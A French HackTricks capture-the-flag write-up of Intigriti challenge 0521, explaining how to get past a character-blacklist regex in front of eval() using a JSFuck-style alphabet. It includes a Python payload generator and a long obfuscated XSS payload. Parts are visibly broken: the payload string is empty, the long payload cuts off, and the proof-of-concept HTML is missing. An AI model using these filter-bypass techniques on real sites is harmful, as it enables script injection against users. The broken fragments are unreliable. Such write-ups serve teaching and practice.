# challenge-0521.intigriti.io
☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
### Description brève Le défi propose un formulaire vulnérable à XSS sur la page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\ Ce formulaire est chargé dans [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via un iframe. Il a été découvert que le formulaire **insère l'entrée de l'utilisateur à l'intérieur de la fonction JavaScript `eval`**. C'est généralement une mauvaise idée car cela peut entraîner une **exécution JavaScript arbitraire**, et c'est un bon exemple.\ Cependant, avant d'insérer l'entrée de l'utilisateur à l'intérieur de la fonction `eval`, elle est vérifiée avec l'expression régulière `/[a-df-z<>()!\\='"]/gi` donc si l'un de ces caractères est trouvé, l'entrée de l'utilisateur ne sera pas exécutée à l'intérieur de `eval`.\ Quoi qu'il en soit, il a été trouvé un moyen de contourner la protection de l'expression régulière et d'exécuter `alert(document.domain)` en abusant de la fonction `eval` dangereuse. ### Accès à l'HTML Il a été découvert que la lettre `e` est autorisée en tant qu'entrée utilisateur. Il a également été découvert qu'il y a un élément HTML utilisant l'`id="e"`. Par conséquent, cet élément HTML est accessible depuis JavaScript en utilisant simplement la variable `e` :\ ![](https://i.imgur.com/Slq2Xal.png) De plus, il est important de savoir qu'en JS vous pouvez **accéder aux attributs d'objets avec un point ou avec une chaîne entre crochets**. Ainsi, vous pouvez accéder à l'attribut `domain` d'un objet `document` de l'une des manières suivantes : ```javascript document.domain document["domain"] ``` Et la même chose se produit avec les attributs qui sont des fonctions (méthodes) : ```javascript document.write("1") document["write"]("1") ``` Ensuite, à partir de l'élément HTML `e`, il est possible d'accéder à l'objet `document` en utilisant quelque chose comme : ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"] ``` ### Appeler une fonction sans parenthèses avec du code JS en tant que chaîne À partir de l'objet `document`, il est possible d'appeler la fonction `write` pour **écrire du texte HTML arbitraire que le navigateur exécutera**.\ Cependant, comme les caractères `()` sont **interdits**, il n'est pas possible d'appeler la fonction en les utilisant. Quoi qu'il en soit, il est possible d'appeler une fonction en utilisant des **backtips** (\`\`).\ De plus, il est possible de mettre en tant que chaîne du code javascript qui va être exécuté en utilisant `${...}` comme suit : ```javascript `${"alert(document.location)"}` ``` Par conséquent, en combinant l'accès à l'objet `document` avec cette technique pour exécuter des fonctions sans parenthèses, il est possible d'**exécuter une alerte en utilisant**: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` Vous pouvez tester ce code dans une console JavaScript à l'intérieur de la page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php) ### Contournement final des caractères interdits Cependant, il reste encore un problème. La plupart des caractères de l'exploit sont **interdits** car ils apparaissent dans l'expression régulière `/[a-df-z<>()!\\='"]/gi`. Mais notez comment tous les **caractères interdits sont des chaînes** à l'intérieur de l'exploit et que les **caractères non-chaînes dans l'exploit (e\[]\`${}) sont autorisés**.\ Cela signifie que s'il est possible de **générer les caractères interdits en tant que chaînes à partir des caractères autorisés**, il est possible de générer l'exploit.\ Pour ce faire, j'ai généré un alphabet similaire à [JSFuck](http://www.jsfuck.com) pour générer les caractères nécessaires (_cet alphabet est personnalisé pour ce défi_).\ Vous pouvez **voir l'alphabet complet à l'intérieur du code de l'exploit** (qui peut être trouvé dans la prochaine sous-section et dans le fichier _exploit.txt_). Par exemple, pour **générer la lettre `a`**, il est possible d'accéder à **`[[]/e+e][0][1]`** car `[[]/e+e][0]` génère la chaîne `"NaN[object HTMLProgressElement]"` ou pour générer la **lettre `f`**, il est possible d'accéder au **5ème caractère de `[[][[]]+e][0]`** car cette expression génère la chaîne `"undefined[object HTMLProgressElement]"`.\ En utilisant ces astuces et d'autres plus complexes, il a été possible de **générer tous les caractères (lettres et symboles) des chaînes contenues** dans l'exploit: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` ### Code d'exploitation Ceci est l'exploit python utilisé pour générer l'exploit final. Si vous l'exécutez, il affichera l'exploit : ```python #JS Specific Direct Alphabet x = { "1": "1", ".": ".", "[": "[e+e][0][0]", "]": "[e+e][0][27]", "/": "[/e/+e][0][0]", "a": "[[]/e+e][0][1]", "b": "[e+e][0][2]", "c": "[e+e][0][5]", "d": "[[][[]]+e][0][2]", "e": "[e+e][0][4]", "f": "[[][[]]+e][0][4]", "g": "[e+e][0][15]", "H": "[e+e][0][8]", "i": "[[][[]]+e][0][5]", "j": "[e+e][0][3]", "L": "[e+e][0][11]", "l": "[e+e][0][21]", "M": "[e+e][0][10]", "n": "[[][[]]+e][0][1]", "N": "[[]/e+e][0][0]", "o": "[e+e][0][1]", "r": "[e+e][0][13]", "s": "[e+e][0][18]", "t": "[e+e][0][6]", "T": "[e+e][0][9]", "u": "[[][[]]+e][0][0]", } #JS Dependent Alphabet #The following alphabet will use previously obtained characters #Note that this way of getting the characters are custom for the abused HTML outerHTML = '+'.join(x[k] for k in 'outerHTML') x['p'] = f'e[{outerHTML}][1]' x['y'] = f'e[{outerHTML}][39]' x['<'] = f'e[{outerHTML}][0]' x['>'] = f'e[{outerHTML}][62]' x['"'] = f'e[{outerHTML}][13]' parentNode = '+'.join(x[k] for k in 'parentNode') document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]' x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]' children = '+'.join(x[k] for k in 'children') captcha = '+'.join(x[k] for k in 'captcha') x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]' write = '+'.join(x[k] for k in 'write') x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]' x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]' x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]' # Exploit generation payload_text = '' payload = '+'.join(x[k] for k in payload_text) txt = f'{document}[{write}]'+'`${['+payload+']}`' print(txt) #Write the exploit to stdout ``` ### Exploitation Pour générer l'exploit, il suffit d'exécuter le code Python précédent. Si vous préférez, vous pouvez également le copier/coller à partir d'ici : ``` ```markdown e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]+[[]/e+e][0][1]+[e+e][0][21]+[e+e][0][4]+[e+e][0][13]+[e+e][0][6]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][42]+[[][[]]+e][0][2]+[e+e][0][1]+[e+e][0][5]+[[][[]]+e][0][0]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0 Ensuite, vous devez **générer une page HTML** qui, une fois chargée, va **rediriger** la victime vers la page du **challenge** en **définissant l'exploit dans le formulaire captcha**. Le code suivant peut être utilisé à cette fin (_notez que l'exploit est encodé en URL_): ```markup
```html
``` Enfin, **servez le poc dans un serveur HTTP** et accédez-y depuis le navigateur :\\ ![](https://i.imgur.com/qack7GO.png) Appuyez simplement sur **submit** sur le formulaire captcha et l'alerte sera exécutée : ![](https://i.imgur.com/mCORty3.png)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.